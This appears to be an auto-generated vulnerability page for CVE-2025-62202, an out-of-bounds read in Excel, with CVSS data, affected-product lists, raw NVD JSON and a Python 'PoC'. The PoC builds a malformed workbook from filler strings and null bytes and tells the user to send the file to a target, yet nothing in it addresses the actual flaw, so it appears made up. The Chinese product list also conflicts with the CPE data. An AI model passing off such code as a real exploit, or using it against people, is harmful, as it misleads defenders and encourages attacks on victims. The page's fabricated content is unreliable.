Security Vulnerability Report
中文
CVE-2025-62202 CVSS 7.1 HIGH

CVE-2025-62202

Published: 2025-11-11 18:15:44
Last Modified: 2025-11-17 18:01:52

Description

Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:* - VULNERABLE
Microsoft Office Excel 2016 (32位和64位版本)
Microsoft Office Excel 2013 (32位和64位版本)
Microsoft Office Excel 2010 (32位和64位版本)
Microsoft Office Excel 2007 (32位和64位版本)
Microsoft 365 Apps for Enterprise
Microsoft Office for Mac 2019
Microsoft Office for Mac 2021
Microsoft Office LTSC 2021
Excel for Android
Excel for iOS

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-62202 PoC - Microsoft Office Excel Out-of-bounds Read # This PoC demonstrates the vulnerability concept # Note: Actual exploitation requires specific file format knowledge from docx import Document import struct import os def create_malicious_excel(): """ Create a malicious Excel file that triggers CVE-2025-62202 The file contains specially crafted data designed to cause out-of-bounds read when parsed by Microsoft Office Excel. """ try: # Create a basic Excel file structure from openpyxl import Workbook wb = Workbook() ws = wb.active # Fill cells with data that may trigger parsing issues # In real scenario, this would be binary data targeting # specific parsing functions in Excel for i in range(1, 100): ws[f'A{i}'] = 'A' * 1000 ws[f'B{i}'] = chr(0) * 500 # Null bytes ws[f'C{i}'] = '\xFF' * 500 # Invalid UTF-8 # Add formulas that might trigger parsing vulnerabilities ws['D1'] = '=' + 'A' * 500 # Oversized formula ws['D2'] = '=' + chr(0) * 200 # Formula with null bytes # Save the malicious file output_file = 'CVE-2025-62202-poc.xlsx' wb.save(output_file) print(f"[+] Created malicious Excel file: {output_file}") print(f"[!] This file is designed to trigger out-of-bounds read in Excel") print(f"[!] Send this file to target and wait for them to open it") return output_file except ImportError: print("[-] openpyxl not installed. Using manual XML construction...") create_manual_excel() def create_manual_excel(): """ Manually construct Excel file structure (XLSX is ZIP-based) This creates a minimal malformed Excel file """ import zipfile output_file = 'CVE-2025-62202-poc.xlsx' with zipfile.ZipFile(output_file, 'w', zipfile.ZIP_DEFLATED) as zf: # Create minimal workbook.xml with malformed data workbook_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''' zf.writestr('xl/workbook.xml', workbook_xml) # Create sheet with oversized cell content sheet_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="str"> <f>''' + 'A' * 1000 + '''</f> <v>''' + chr(0) * 500 + '''</v> </c> </row> </sheetData> </worksheet>''' zf.writestr('xl/worksheets/sheet1.xml', sheet_xml) # Add required content types and relationships content_types = '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''' zf.writestr('[Content_Types].xml', content_types) print(f"[+] Created malicious Excel file: {output_file}") return output_file def analyze_vulnerability(): """ Analyze the CVE-2025-62202 vulnerability characteristics """ print("\n=== CVE-2025-62202 Analysis ===") print("Type: Out-of-bounds Read") print("CVSS Score: 7.1 (High)") print("Attack Vector: Local (AV:L)") print("Privileges Required: None (PR:N)") print("User Interaction: Required (UI:R)") print("Confidentiality Impact: High (C:H)") print("Integrity Impact: None (I:N)") print("Availability Impact: High (A:H)") print("\n[!] Attack Requirements:") print(" 1. Attacker creates malicious Excel file") print(" 2. Victim opens the file with vulnerable Excel version") print(" 3. Excel triggers out-of-bounds read during file parsing") print(" 4. Attacker gains access to sensitive memory contents") if __name__ == '__main__': print("CVE-2025-62202 PoC Generator") print("=" * 50) analyze_vulnerability() print("\n[+] Generating malicious Excel file...") create_malicious_excel() print("\n[!] Disclaimer: This PoC is for educational purposes only") print("[!] Do not use for malicious purposes")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62202", "sourceIdentifier": "[email protected]", "published": "2025-11-11T18:15:43.693", "lastModified": "2025-11-17T18:01:51.953", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20068", "matchCriteriaId": "5B5A0D24-857F-4078-A9C3-D4F2EEEF283F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62202", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}